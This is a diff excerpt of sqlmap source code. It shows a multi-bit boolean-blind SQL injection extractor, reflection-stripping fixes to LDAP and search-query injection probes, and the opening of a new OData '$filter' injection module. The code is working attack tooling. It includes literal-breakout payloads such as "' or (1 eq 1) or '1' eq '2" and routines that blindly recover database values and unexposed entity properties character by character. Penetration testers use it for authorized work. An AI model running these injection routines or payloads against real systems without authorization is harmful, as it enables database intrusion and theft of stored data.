# halving the identifiers proves nothing on a table larger than it (with ids up to 1000 the
# "smaller" range would be wider than the window itself).
inside = sorted(_ for _ in known if low <= _ <= high) or sorted(known)
fewer = _stable(_window(column, low, (inside[0] + inside[-1]) // 2), mode) & pool
if not (fewer < pool):
_debug("column '%s' shows the same rows for a smaller range (pagination/truncation/cache)" % column)
return None
rows = _place(_planes(column, base, mode, window, pool, MULTIBIT_PLANES), pool, base, None)
# the payload derives char offset and bit index from (id - base), so ids must be consecutive
run = _longestRun(rows)
if len(run) < MULTIBIT_BITS_PER_CHAR + 1:
_debug("column '%s' yields only %d consecutive usable rows" % (column, len(run)))
return None
canary = run.pop() # unconditionally selected on every read
while len(run) % MULTIBIT_BITS_PER_CHAR: # whole characters only
run.pop()
return {"rows": dict((_, rows[_]) for _ in run + [canary]), "canary": canary,
"keys": run, "base": run[0], "perCall": len(run) // MULTIBIT_BITS_PER_CHAR}
def _planes(column, base, mode, restrict, pool, count):
"""
The bit planes of the row identifiers: plane k holds the markers of every row whose offset from
the base has bit k set, so `count` requests place up to 2**count rows.
An empty plane ABOVE every non-empty one simply means the identifiers do not reach that far. An
empty one BELOW them is a bad response, and re-probing it is far cheaper than letting it shift
every identifier by that bit.
"""
def probe(bit):
return _tokens(_join(restrict, _bitcol(column, base, bit)), mode) & pool
retVal = [probe(_) for _ in range(count)]
top = max([_ for _ in range(count) if retVal[_]] or [0])
for bit in range(top):
if not retVal[bit]:
retVal[bit] = probe(bit)
return retVal
def _place(planes, pool, base, known):
"""Turns the bit planes into 'row identifier -> the markers that identify only that row'."""
useful = [_ for _ in planes if _]
# Markers common to every plane that selected anything carry no identity - they are the shared
# row markup ("item", "class", ...). Intersecting ALL the planes instead would remove nothing
# when the high planes are empty for want of rows, and the markup would then be placed at a row
# identifier that does not exist (and, being the last one, would be picked as the canary).
pool = pool - (set.intersection(*useful) if useful else pool)
identity = {}
for token in pool:
value = 0
for bit in range(len(planes)):
if token in planes[bit]:
value |= 1 << bit
if value: # a marker in no plane at all is junk, not a row
identity.setdefault(base + value, set()).add(token)
if known: # only identifiers the markup really showed
identity = dict((_, identity[_]) for _ in identity if _ in known)
return _exclusive(identity)
def _exclusive(identity):
"""Keeps only markers that identify ONE row - shared markup is worthless as a bit."""
retVal = {}
for rid, tokens in identity.items():
others = set()
for other, more in identity.items():
if other != rid:
others |= more
unique = tokens - others
if unique:
retVal[rid] = unique
return retVal
def _longestRun(rows):
"""The payload derives char offset and bit index from (id - base), so ids must be consecutive."""
best, run = [], []
for k in sorted(rows):
run = (run + [k]) if (run and k == run[-1] + 1) else [k]
if len(run) > len(best):
best = list(run)
return best
def _selected(profile, expression):
"""One request -> the set of bit rows the target selected. None when the response itself was junk."""
rows, canary = profile["rows"], profile["canary"]
# the canary is OR-ed INSIDE the predicate, so even in narrow mode the result set stays a subset
# of the page's own rows
observed = _tokens("(%s) OR %s=%d" % (expression, profile["column"], canary), profile["mode"])
if not rows[canary] & observed:
return None # canary missing -> gateway error, interstitial, ...
return set(_ for _ in profile["keys"] if rows[_] & observed)
def _calibrate(profile):
"""
Proves superposition at FULL read width: tokens(A union B) == tokens(A) union tokens(B). This is
the gate that rejects paginated, truncated and deduplicating pages, where selecting extra rows
pushes others out. Subsets are expressed with the same compact bit arithmetic the reader uses, so
the calibration payload is the size of a real one.
"""
column, keys = profile["column"], profile["keys"]
base = keys[0] - 1
planes = max(1, (keys[-1] - base).bit_length())
everything = " OR ".join("%s=%d" % (column, _) for _ in keys)
# every row at once (the read-width test), then no row at all - the latter proves the canary is a
# real row rather than shared markup that merely follows "some row was rendered"
rounds = [(everything, set(keys)), ("%s AND NOT (%s)" % (_bitcol(column, base, 0), _bitcol(column, base, 0)), set())]
for _ in range(MULTIBIT_CALIBRATION_ROUNDS):
i, j = randomInt() % planes, randomInt() % planes
negate = bool(randomInt() % 2)
expression = "%s AND %s(%s)" % (_bitcol(column, base, i), "NOT " if negate else "", _bitcol(column, base, j))
expected = set(_ for _ in keys if ((_ - base) >> i) & 1 and (bool(((_ - base) >> j) & 1) != negate))
rounds.append((expression, expected))
for expression, expected in rounds:
observed = _selected(profile, expression)
if observed is None or observed != expected:
_debug("superposition failed (%d rows expected, %s observed)" % (len(expected), "junk" if observed is None else len(observed)))
return False
return True
def _read(profile, expression, position, count):
"""
One request -> `count` characters in widen mode; one character (in as many requests as the page
has bit rows) in narrow mode. Returns a list of ordinals (0 marks end of value), or None when a
response itself was junk (told apart by the canary row, selected regardless of the data).
"""
if profile["mode"] == MULTIBIT_WIDEN:
return _readWide(profile, expression, position, count)
column, keys = profile["column"], profile["keys"]
bitchar = queries[Backend.getIdentifiedDbms()].bitchar.query
# the row identifiers need not be consecutive here, so a CASE maps each one to the bit it carries
# - the value expression itself still appears exactly once
choice = "CASE %s%s END" % (column, "".join(" WHEN %d THEN %d" % (_, index) for index, _ in enumerate(keys)))
value = 0
for offset in range(0, MULTIBIT_BITS_PER_CHAR, len(keys)):
observed = _selected(profile, bitchar % (expression, position, "%s+%d" % (choice, offset) if offset else choice))
if observed is None:
return None
for index, key in enumerate(keys):
if offset + index < MULTIBIT_BITS_PER_CHAR and key in observed:
value |= 1 << (offset + index)
return [value]
def _readWide(profile, expression, position, count):
column, base, keys = profile["column"], profile["base"], profile["keys"]
bits = MULTIBIT_BITS_PER_CHAR
top = base + count * bits - 1
# 1+FLOOR((id-shifted)/bits) == position+FLOOR((id-base)/bits); parenthesized because it goes
# negative past the first window (and "id--40" would start a comment)
shifted = "(%d)" % (base - bits * (position - 1))
bitmap = queries[Backend.getIdentifiedDbms()].bitmap.query % (expression, column, shifted, bits, column, shifted, bits)
observed = _selected(profile, _join(_window(column, base, top), bitmap))
if observed is None:
return None
retVal = []
for c in range(count):
value = 0
for b in range(bits):
if keys[c * bits + b] in observed:
value |= 1 << b
retVal.append(value)
return retVal
def _ask(profile, predicate):
"""One request -> one bit, over the row channel (so it inherits the canary's junk detection)."""
marker = profile["keys"][0]
observed = _selected(profile, "%s=%d AND (%s)" % (profile["column"], marker, predicate))
return None if observed is None else (marker in observed)
def _confirm(profile, expression, value, length):
"""
Proves the WHOLE extracted value back against the target: its length, then equality chunk by
chunk. This is what makes the technique safe on hostile pages - a junk response, a dropped row or
a character the 8-bit channel cannot carry all end up as a mismatch here, never as output.
True when proven, False when the channel is at fault, None when THIS value simply cannot be
proven (nothing wrong with the channel, so it must not count against it).
"""
dbms = Backend.getIdentifiedDbms()
# A channel that drops rows reads zero bits and stops early, so the LENGTH is what implicates it.
# A character mismatch at the right length is about this value instead - 8 bits per character
# cannot reproduce every ordinal a DBMS may return (a multi-byte code, a codepoint above 255
# whose low byte still looks like ASCII), and that must not count against a working channel.
if length is None:
if _ask(profile, "%s=%d" % (queries[dbms].length.query % ("(%s)" % expression), len(value))) is not True:
# a NULL value has no length, so the comparison above is NULL (i.e. not selected) no matter
# what was read - exactly how a channel that drops rows fails it. One extra probe tells the
# two apart, so a column with NULLs in it does not retire an otherwise working channel
if _ask(profile, "(%s) IS NULL" % expression) is True:
_debug("value is NULL, so its length cannot be confirmed")
return None
_debug("length of the extracted value did not confirm")
return False
elif length != len(value):
_debug("extracted %d characters, expected %d" % (len(value), length))
return False
for offset in range(0, len(value), MULTIBIT_CONFIRM_CHUNK):
chunk = value[offset:offset + MULTIBIT_CONFIRM_CHUNK]
escaped = unescaper.escape("'%s'" % chunk.replace("'", "''"))
if "'" in escaped and not conf.noEscape:
# the DBMS-specific escaper stood down (e.g. EXCLUDE_UNESCAPE matched the data itself), so
# the literal would enter the payload quoted and could break the boundary
_debug("chunk at offset %d could not be escaped" % offset)
return None
if _ask(profile, "(%s)=%s" % (queries[dbms].substring.query % ("(%s)" % expression, offset + 1, len(chunk)), escaped)) is not True:
_debug("chunk at offset %d did not confirm" % offset)
return None
return True
def _usable(charsetType, partial):
"""The single-bit paths own everything multi-bit cannot reproduce exactly."""
if not conf.multiBit or partial:
return False # opt-in only, and a resumed value starts mid-string
if getTechnique() != PAYLOAD.TECHNIQUE.BOOLEAN or kb.nullConnection:
return False
if conf.firstChar or conf.lastChar or charsetType is not None or kb.data.get("processChar"):
return False # range-limited / restricted-charset / post-processed output
if not kb.injection or not kb.injection.parameter:
return False
return _atoms()
def _atoms():
"""Whether the fingerprinted back-end has the bit arithmetic the channel is built from."""
try:
return bool(queries[Backend.getIdentifiedDbms()].bitchar.query and queries[Backend.getIdentifiedDbms()].bitcol.query)
except Exception:
return False
def _verbose():
"""Whether bisection is drawing the value on an open "retrieved: " line right now."""
return conf.verbose in (1, 2) and not any((conf.eta, conf.api, kb.bruteMode, kb.multiThreadMode))
def _finish(profile, key):
"""Stores the discovered channel and reports what it measured."""
profile.update(key=key, verified=False, attempts=0, failures=0)
kb.multibit[key] = profile
if profile["mode"] == MULTIBIT_WIDEN:
width = "%d character%s" % (profile["perCall"], "s" if profile["perCall"] > 1 else "")
else:
width = "%d bits" % len(profile["keys"])
logger.info("parameter '%s' carries a multi-bit channel (%s, %d rows, %s per request)" % (kb.injection.parameter, profile["mode"], len(profile["rows"]), width))
return profile
def hint():
"""
Says the one thing worth saying about multi-bit on this target, at most once and NOT ONE REQUEST:
the page sqlmap already kept from the stability check is the whole evidence. Without the switch
that is a nudge towards it, with the switch it is the back-end that cannot carry it. Either way
only when boolean-based blind is the channel the run would use anyway (an in-band one is faster
than any row channel). Purely advisory, never raises.
"""
try:
if kb.multibitHinted:
return
kb.multibitHinted = True
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) or kb.nullConnection:
return
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)):
return
if conf.multiBit:
if not _atoms():
singleTimeWarnMessage("switch '--multi-bit' is not supported for %s" % Backend.getIdentifiedDbms())
return
rows = max([len(_) for _ in _identifiers(kb.originalPage).values()] or [0])
if rows > MULTIBIT_MIN_BITS and _atoms():
singleTimeLogMessage("target renders %d rows that a single response could carry data in. You can try switch "
"'--multi-bit' to read several characters per request instead of one bit. Though "
"it widens the result set with OR payloads, as '--risk=%d' does" % (rows, MULTIBIT_WIDEN_RISK), level=logging.INFO)
except Exception:
pass
def _verify(profile, expression, bisectChar):
"""
Cross-checks the channel against the trusted single-bit oracle, once per injection point.
Deliberately separate from discovery: the check reads the first character of whatever value
happens to come first, and an empty or non-ASCII one settles nothing. Such a value defers the
check to the next one instead of condemning a channel that calibrated cleanly.
"""
profile["attempts"] += 1
getCurrentThreadData().shared.value = "" # getChar() reads it, and bisection only seeds it further down
reference = bisectChar(1)
probe = _read(profile, expression, 1, 1)
if probe is None or not reference or ord(reference) > 127:
_debug("first character of this value cannot settle the cross-check, deferring")
elif decodeIntToUnicode(probe[0]) == reference:
profile["verified"] = True
return True
else:
_debug("first character disagreed with the boolean oracle (%r vs %r)" % (probe, reference))
profile["attempts"] = MULTIBIT_MAX_FAILURES # a real disagreement, not an unlucky value
if profile["attempts"] >= MULTIBIT_MAX_FAILURES:
_debug("channel abandoned, the boolean oracle never confirmed it")
kb.multibit[profile["key"]] = False
return False
def _profile(expression, bisectChar):
"""Discovers and calibrates the channel ONCE per injection point, then has it cross-checked."""
key = "%s|%s|%s|%s" % (conf.hostname or "", conf.path or "", kb.injection.place or "", kb.injection.parameter)
profile = kb.multibit.get(key)
if profile is False:
return None
if profile is None:
kb.multibit[key] = False # pessimistic: any exit below leaves it latched off
# The switch is the permission, so the whole table is fair game: the wide channel reads several
# characters per request, the page's own rows only as many bits as it renders.
for mode in (MULTIBIT_WIDEN, MULTIBIT_NARROW):
profile = _discover(mode)
if profile and _calibrate(profile):
break
profile = None
if not profile:
_debug("no usable row channel on this parameter") # quiet: bisection carries on below
return None
if _verbose():
dataToStdout("\n") # bisection has already printed "retrieved: "
profile = _finish(profile, key)
if _verbose():
dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X"))
if not profile["verified"] and not _verify(profile, expression, bisectChar):
return None
return profile
def _readChunk(profile, expression, position, count):
"""
One read of `count` characters, with a single retry - a transient junk response (a gateway error,
an interstitial) must not cost the whole value.
"""
try:
retVal = _read(profile, expression, position, count)
return retVal if retVal is not None else _read(profile, expression, position, count)
except Exception as ex:
_debug("read at position %d failed (%s)" % (position, ex))
return None
def _chunks(length, perCall):
"""(position, count) pairs covering the whole value, or None while its length is unknown."""
if not (isinstance(length, int) and length > 0):
return None
return [(1 + _, min(perCall, length - _)) for _ in xrange(0, length, perCall)]
def _serial(profile, expression, chunks, perCall):
"""
Chunk after chunk. Without a known length this is the only way, since the value ends where the
channel reads a zero ordinal.
"""
retVal, done = u"", False
for position, count in chunks or ((_, perCall) for _ in xrange(1, MAX_MULTIBIT_LENGTH, perCall)):
chunk = _readChunk(profile, expression, position, count)
if chunk is None:
_debug("channel stopped answering at position %d" % position)
return None
for value in chunk:
if not value: # end of value (or a NUL, which classic cannot carry either)
done = True
break
retVal += decodeIntToUnicode(value)
if _verbose():
dataToStdout(filterControlChars(retVal[position - 1:]))
if done:
break
if not (done or chunks):
_debug("value exceeded the %d character ceiling" % MAX_MULTIBIT_LENGTH)
return None
return retVal
def _parallel(profile, expression, chunks, numThreads):
"""
The same reads spread over '--threads'. Every chunk sits at a known position, so they are as
independent as the characters the single-bit path parallelises over. Multi-bit runs its OWN
workers: bisection's read one character each, which would leave most of the channel idle.
"""
pending, values = list(chunks), {}
def readThread():
while kb.threadContinue:
with kb.locks.multibit:
if not pending:
return
position, count = pending.pop(0)
chunk = _readChunk(profile, expression, position, count)
if chunk is None:
_debug("channel stopped answering at position %d" % position)
kb.threadContinue = False
return
with kb.locks.value:
values[position] = chunk
technique = getTechnique() # runThreads' cleanup clears it (and releases every lock)
try:
runThreads(numThreads, readThread, startThreadMsg=False)
finally:
setTechnique(technique)
retVal, done = u"", False
for position, _ in chunks:
if position not in values: # a chunk that never answered leaves a hole
return None
for value in values[position]:
if not value: # a value shorter than the length it announced
done = True
break
retVal += decodeIntToUnicode(value)
if done:
break
if _verbose(): # the workers ran muted, so the value appears at once
dataToStdout(filterControlChars(retVal))
return retVal
def attempt(expression, bisectChar, length=None, charsetType=None, partial=False):
"""
Returns the extracted value, or None if multi-bit is not usable here (caller falls back to
classic bisection). `bisectChar(position)` is the trusted single-bit extractor.
"""
if not _usable(charsetType, partial):
return None
with kb.locks.multibit:
try:
profile = _profile(expression, bisectChar)
except Exception as ex:
_debug("profiling failed (%s)" % ex)
return None
if not profile:
return None
# Discovery is paid once per injection point, so even short values (table and column names) are
# cheaper here afterwards - a single character is not, since confirming it costs as much as
# bisecting it.
if isinstance(length, int) and length < 2:
return None
chunks = _chunks(length, profile["perCall"])
# a value-parallel enumeration worker is already one thread of several, so it reads on its own
numThreads = 1 if kb.multiThreadMode else min(conf.threads or 1, len(chunks or ()))
if numThreads > 1:
retVal = _parallel(profile, expression, chunks, numThreads)
else:
retVal = _serial(profile, expression, chunks, profile["perCall"])
if retVal is None:
return None
try:
confirmed = _confirm(profile, expression, retVal, length)
except Exception as ex:
_debug("confirmation failed (%s)" % ex)
confirmed = False
if confirmed is not True:
if _verbose():
dataToStdout("\r[%s] [INFO] retrieved: %s\r[%s] [INFO] retrieved: " % (time.strftime("%X"), " " * len(retVal), time.strftime("%X")))
singleTimeWarnMessage("multi-bit inference could not confirm a value, falling back to single-bit")
# a value the channel cannot carry (non-ASCII, or data the unescaper stands down on) is
# nobody's fault; a channel that keeps disagreeing costs a full read plus a confirmation on
# every value, so only that counts towards giving up on it
if confirmed is None:
return None
profile["failures"] += 1
if profile["failures"] >= MULTIBIT_MAX_FAILURES:
_debug("channel abandoned after %d unconfirmed values" % profile["failures"])
kb.multibit[profile["key"]] = False
return None
profile["failures"] = 0
return retVal
+10 -1
View File
@@ -12,6 +12,7 @@ from collections import namedtuple
from lib.core.common import beep from lib.core.common import beep
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import removeReflectiveValues
from lib.core.convert import getUnicode from lib.core.convert import getUnicode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import logger from lib.core.data import logger
@@ -21,6 +22,7 @@ from lib.utils.nonsql import InconclusiveError
from lib.utils.nonsql import INCONCLUSIVE_MARK from lib.utils.nonsql import INCONCLUSIVE_MARK
from lib.utils.nonsql import userDecision from lib.utils.nonsql import userDecision
from lib.utils.nonsql import resolveBit from lib.utils.nonsql import resolveBit
from lib.utils.nonsql import stripReflection
from lib.utils.nonsql import sqlErrorPresent from lib.utils.nonsql import sqlErrorPresent
from lib.utils.nonsql import blockedStatus from lib.utils.nonsql import blockedStatus
from lib.utils.nonsql import ratio as _ratio from lib.utils.nonsql import ratio as _ratio
@@ -173,7 +175,14 @@ def _send(place, parameter, value):
# oracle sample - signal None so `_boolean`/`extract` (which reject None) can't decide on it # oracle sample - signal None so `_boolean`/`extract` (which reject None) can't decide on it
if blockedStatus(code): if blockedStatus(code):
return None return None
return page or "" # Strip the payload back out before anything compares pages. An endpoint that merely ECHOES the
# parameter differs between any two probes because the payloads differ, which satisfies a
# true/false differential without a single expression being evaluated - that reported plain
# reflective search pages as injectable. On a blind target the payload is not in the page, so
# this is a no-op.
# Two layers on purpose: sqlmap's scan-wide heuristic (which can switch itself off) AND a plain
# deterministic strip that cannot. See stripReflection().
return stripReflection(removeReflectiveValues(page, value, suppressWarning=True), value) or ""
except Exception as ex: except Exception as ex:
logger.debug("LDAP probe request failed: %s" % getUnicode(ex)) logger.debug("LDAP probe request failed: %s" % getUnicode(ex))
return None return None
+16
View File
@@ -14,6 +14,7 @@ from collections import OrderedDict
from lib.core.common import beep from lib.core.common import beep
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import removeReflectiveValues
from lib.core.convert import getUnicode from lib.core.convert import getUnicode
from lib.utils.nonsql import userDecision from lib.utils.nonsql import userDecision
from lib.utils.nonsql import sqlErrorPresent from lib.utils.nonsql import sqlErrorPresent
@@ -22,7 +23,9 @@ from lib.utils.nonsql import ratio as _ratio
from lib.utils.nonsql import userOracleActive from lib.utils.nonsql import userOracleActive
from lib.utils.nonsql import InconclusiveError from lib.utils.nonsql import InconclusiveError
from lib.utils.nonsql import INCONCLUSIVE_MARK from lib.utils.nonsql import INCONCLUSIVE_MARK
from thirdparty import six
from lib.utils.nonsql import resolveBit from lib.utils.nonsql import resolveBit
from lib.utils.nonsql import stripReflection
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
@@ -366,6 +369,19 @@ def _send(place, parameter, segment=None, jsonValue=_UNSET):
finally: finally:
conf.skipUrlEncode = skipUrlEncode conf.skipUrlEncode = skipUrlEncode
# Strip the payload back out before anything compares pages. An endpoint that merely ECHOES the
# parameter differs between any two probes because the payloads differ, which satisfies a true/false
# differential - and the wildcard always-true check - without a single operator being interpreted.
# That reported a plain reflective search page as a "Lucene query_string-compatible back-end". On a
# blind target the payload is not in the page, so this is a no-op.
# Two layers on purpose: sqlmap's scan-wide heuristic (which can switch itself off) AND a plain
# deterministic strip that cannot. See stripReflection().
# Strip the VALUE as well as the whole parameter string: `payload` here is "q=*", while the page
# echoes just "*", so removing only the former leaves the reflection in place.
page = removeReflectiveValues(page, payload, suppressWarning=True)
for _reflected in (payload, segment, jsonValue if jsonValue is not _UNSET else None):
if isinstance(_reflected, six.string_types) and _reflected:
page = stripReflection(page, _reflected)
return page or "" return page or ""
def _isError(page): def _isError(page):
+8
View File
@@ -0,0 +1,8 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
pass
+638
View File
@@ -0,0 +1,638 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
"""
OData injection ('--odata').
An application that builds an OData '$filter' from user input (?name= -> $filter=Name eq '<name>')
hands over the whole filter expression language. Breaking out of the string literal turns the filter
into an attacker-controlled boolean, which is a boolean-based blind oracle: the entity set the query
returns is populated or empty according to a condition sqlmap controls.
detect break the literal, then confirm a reproducible true/false differential (1 eq 1 vs 1 eq 2)
confirm an OData-only construct (length()/startswith() on a literal) that plain SQL does not parse,
so the finding is attributed to OData rather than to ordinary SQL injection
extract through the oracle, pin an entity by its key and blindly recover each string property by
length + substring binary search - reaching properties the endpoint never $select-ed
OData is fingerprinted by version: v4 speaks contains(), v2/v3 speak substringof(). Nothing is inferred
from a payload merely 'looking like' it worked - every step is a reproducible boolean differential or a
value the application cannot produce by itself.
"""
import re
import time
from collections import namedtuple
from lib.core.common import beep
from lib.core.common import randomStr
from lib.core.common import urldecode
from lib.core.convert import getUnicode
from lib.core.data import conf
from lib.core.data import logger
from lib.core.enums import CUSTOM_LOGGING
from lib.core.enums import PLACE
from lib.utils.nonsql import InconclusiveError
from lib.utils.nonsql import resolveBit
from lib.utils.nonsql import sqlErrorPresent
from lib.utils.nonsql import blockedStatus
from lib.utils.nonsql import ratio as _ratio
from lib.utils.nonsql import userDecision
from lib.utils.nonsql import userOracleActive
from lib.core.settings import HUFFMAN_PRIOR_WEIGHTS
from lib.core.settings import ODATA_CHAR_MAX
from lib.core.settings import ODATA_CHAR_MIN
from lib.core.settings import ODATA_CHARSET_BLOCK
from lib.core.settings import ODATA_COMMON_FIELDS
from lib.core.settings import ODATA_ERROR_REGEX
from lib.core.settings import ODATA_ERROR_SIGNATURES
from lib.core.settings import ODATA_KEY_CANDIDATES
from lib.core.settings import ODATA_MAX_KEY
from lib.core.settings import ODATA_MAX_LENGTH
from lib.core.settings import ODATA_MAX_RECORDS
from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX
from lib.core.settings import UPPER_RATIO_BOUND
from lib.request.connect import Connect as Request
from lib.utils.xrange import xrange
from thirdparty.six.moves.urllib.parse import quote as _quote
SENTINEL = randomStr(length=10, lowercase=True)
ODATA_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST)
Boundary = namedtuple("Boundary", ("prefix", "suffix"))
# Detection boundaries, priority-ordered. Each breaks out of the string literal and rebuilds a filter
# whose truth is (predicate): the base value matches nothing and the trailing "'1' eq '2'" is false, so
# the injected predicate alone decides whether any entity is returned. prefix/suffix wrap a later
# predicate for extraction.
# (true_break, false_break, prefix, suffix)
_BOUNDARY_TABLE = (
# single-quoted string literal (OData escapes an inner quote by doubling it, hence no backslashes)
("' or (1 eq 1) or '1' eq '2", "' or (1 eq 2) or '1' eq '2", "' or (", ") or '1' eq '2"),
# double-quoted string literal (some services accept "..." literals)
('" or (1 eq 1) or "1" eq "2', '" or (1 eq 2) or "1" eq "2', '" or (', ') or "1" eq "2'),
)
# Charset for blind character recovery.
# NOTE recovery uses EXACT equality (substring(...) eq 'c'), never a '>=' bisection: .NET / OData string
# relational comparison is culture-aware and case-folding ('l' and 'L' compare equal), which scrambles a
# lexicographic bisection, whereas eq is ordinal and exact. Bisection is recovered WITHOUT ordering by
# asking about a whole candidate set per request (see _memberOf), so the set is ordered by real-world
# frequency - a common character is settled inside the first block. Because the probe is exact rather
# than positional, the order is free and a missing codepoint only costs coverage - it cannot alias onto
# a neighbour the way a bisection hole does. Nothing is excluded: the one character OData cannot carry
# raw inside a literal, the single quote, is doubled per the spec instead of dropped.
_FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) + tuple(xrange(ord('A'), ord('Z') + 1)) +
tuple(xrange(ord('0'), ord('9') + 1)) + tuple(ord(_) for _ in " @._-+:/!#$%&*=?"))
_CS_ORDS = []
for _o in _FREQ:
if ODATA_CHAR_MIN <= _o <= ODATA_CHAR_MAX and _o not in _CS_ORDS:
_CS_ORDS.append(_o)
for _o in xrange(ODATA_CHAR_MIN, ODATA_CHAR_MAX + 1):
if _o not in _CS_ORDS:
_CS_ORDS.append(_o)
# ...and weighted by the same shipped character prior blind SQL retrieval banks on, so a set is split
# at its cumulative-WEIGHT midpoint rather than its midpoint by count. That puts the likely characters
# nearer the root of the decision tree, which is what beats a uniform bisection's flat log2(charset).
_CS_WEIGHTS = dict((_o, HUFFMAN_PRIOR_WEIGHTS.get(_o, 1)) for _o in _CS_ORDS)
_CS_ORDS.sort(key=lambda _o: -_CS_WEIGHTS[_o])
def _splitPoint(candidates):
"""Where to cut `candidates` so that either answer is about equally likely (never degenerate)."""
half = sum(_CS_WEIGHTS[_] for _ in candidates) / 2.0
running = 0
for index, ordinal in enumerate(candidates):
running += _CS_WEIGHTS[ordinal]
if running >= half:
return min(index + 1, len(candidates) - 1)
return len(candidates) - 1
def _literal(ordinal):
"""One codepoint as a single-quoted OData string literal (an inner quote is doubled, not escaped)."""
return "'%s'" % ("''" if ordinal == 0x27 else chr(ordinal))
def _delim(place):
return conf.paramDel or (';' if place == PLACE.COOKIE else '&')
def _confParameters(place):
return conf.parameters.get(place) or ""
def _originalValue(place, parameter):
# decoded on the way in, re-encoded by _send() on the way out, so the module works in plain text
# and a value carrying %XX/'+' round-trips to exactly what the application originally received
for pair in _confParameters(place).split(_delim(place)):
if '=' in pair:
name, _, value = pair.partition('=')
if name.strip() == parameter:
return urldecode(value, convall=True)
return None
def _replaceSegment(place, parameter, value):
retVal = []
for pair in _confParameters(place).split(_delim(place)):
if '=' in pair:
name, _, old = pair.partition('=')
retVal.append("%s=%s" % (name, value if name.strip() == parameter else old))
elif pair:
retVal.append(pair)
return _delim(place).join(retVal)
def _send(place, parameter, value, raw=False):
"""One HTTP request with the target parameter set to `value`, reusing sqlmap's request machinery.
`raw=True` keeps a 4xx/5xx body (a $filter parser diagnostic is served as 400) which the boolean
oracle must never see.
The value is URL-encoded (as '--ssti' already does) because a payload metacharacter otherwise never
reaches the service intact: a raw '&' is the parameter delimiter, so the request SPLITS and the
$filter arrives truncated, and '+' arrives as a space. That is not hypothetical - the character scan
emits both as data, and unencoded the '&' probe returned a 400 whose InconclusiveError aborted the
WHOLE property, so any value holding one of them dumped as '?'."""
if conf.delay:
time.sleep(conf.delay)
saved = conf.parameters.get(place, "")
conf.parameters[place] = _replaceSegment(place, parameter, _quote(value, safe=""))
try:
if conf.verbose >= 3:
logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value))
page, _, code = Request.getPage(raise404=False, silent=True)
if not raw and (blockedStatus(code) or (code and code >= 400)):
return None
return page or ""
except Exception as ex:
logger.debug("OData probe request failed: %s" % getUnicode(ex))
return None
finally:
conf.parameters[place] = saved
def _isError(page):
page = getUnicode(page or "")
return bool(re.search(ODATA_ERROR_REGEX, page)) or sqlErrorPresent(page)
def _backendFromError(page):
page = getUnicode(page or "")
for backend, regex in ODATA_ERROR_SIGNATURES:
if re.search(regex, page):
return backend
return None
def _probeError(place, parameter):
"""Break the filter and look for an OData $filter parser diagnostic (served as 400). A hint only."""
original = _originalValue(place, parameter) or "1"
normal = _send(place, parameter, original, raw=True)
for suffix in ("'", '"', ")", " eq "):
broken = _send(place, parameter, original + suffix, raw=True)
if not broken or _ratio(normal, broken) >= UPPER_RATIO_BOUND:
continue
backend = _backendFromError(broken)
if backend and not _isError(normal):
return backend, broken
return None, None
def _boolean(truthy, falsy):
truePage = truthy()
if truePage is None or _isError(truePage):
return None
if _ratio(truePage, truthy()) < UPPER_RATIO_BOUND:
return None
falsePage = falsy()
if falsePage is None or _isError(falsePage):
return None
if _ratio(falsePage, falsy()) < UPPER_RATIO_BOUND:
return None
if userOracleActive():
return truePage if (userDecision(truePage) is True and userDecision(falsePage) is False) else None
if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND:
return truePage
return None
def _detectBoolean(place, parameter):
for trueBreak, falseBreak, prefix, suffix in _BOUNDARY_TABLE:
truePayload = SENTINEL + trueBreak
falsePayload = SENTINEL + falseBreak
template = _boolean(lambda p=truePayload: _send(place, parameter, p),
lambda p=falsePayload: _send(place, parameter, p))
if template:
return template, truePayload, Boundary(prefix, suffix)
return None, None, None
def _wrap(boundary, predicate):
return "%s%s%s%s" % (SENTINEL, boundary.prefix, predicate, boundary.suffix)
# OData-only attribution: length()/startswith() over a string LITERAL are OData $filter functions with no
# plain-SQL equivalent, so a true/false divergence attributes the finding to OData rather than SQL. No
# property name is needed, so this runs before any field is known.
_ODATA_PREDICATES = (
("length('%s') eq 6" % ("sqlmap"), "length('%s') eq 5" % ("sqlmap")),
("startswith('sqlmap','sql')", "startswith('sqlmap','xyz')"),
)
def _confirmOData(place, parameter, boundary):
for truePred, falsePred in _ODATA_PREDICATES:
if _boolean(lambda p=_wrap(boundary, truePred): _send(place, parameter, p),
lambda p=_wrap(boundary, falsePred): _send(place, parameter, p)):
return True
return False
def _fingerprintVersion(oracle):
"""v4 speaks contains(); v2/v3 speak substringof(). Whichever parses-and-evaluates names the dialect.
Both probes are EXPECTED to fail on the dialect that does not own them - an unknown $filter function
is a 400, which the oracle can only report as inconclusive. That is a negative answer here, not an
error: raising would abort the scan before the finding is even reported, and it would do so on
exactly the v2/v3 services the second branch exists to name."""
for expression, version in (("contains('sqlmap','sql')", "v4"),
("substringof('sql','sqlmap')", "v2/v3")):
try:
if oracle(expression):
return version
except InconclusiveError:
continue
return None
def _makeOracle(place, parameter, boundary, truePredicate="(1 eq 1)"):
"""Build a boolean oracle whose TRUE model is the result of `truePredicate` and FALSE model is the
empty set. For detection the true model is the whole entity set ((1 eq 1)); for per-entity extraction
it is a single pinned entity (key eq K), so a `key eq K and <cond>` probe - which returns that one
entity or nothing - matches the two models exactly. Returns None when the models are not separable."""
cache = {}
def request(payload):
if payload not in cache:
page = _send(place, parameter, payload)
if page is not None and not _isError(page):
cache[payload] = page
return page
return cache[payload]
truePayload = _wrap(boundary, truePredicate)
falsePayload = _wrap(boundary, "(1 eq 2)")
trueTemplate = request(truePayload)
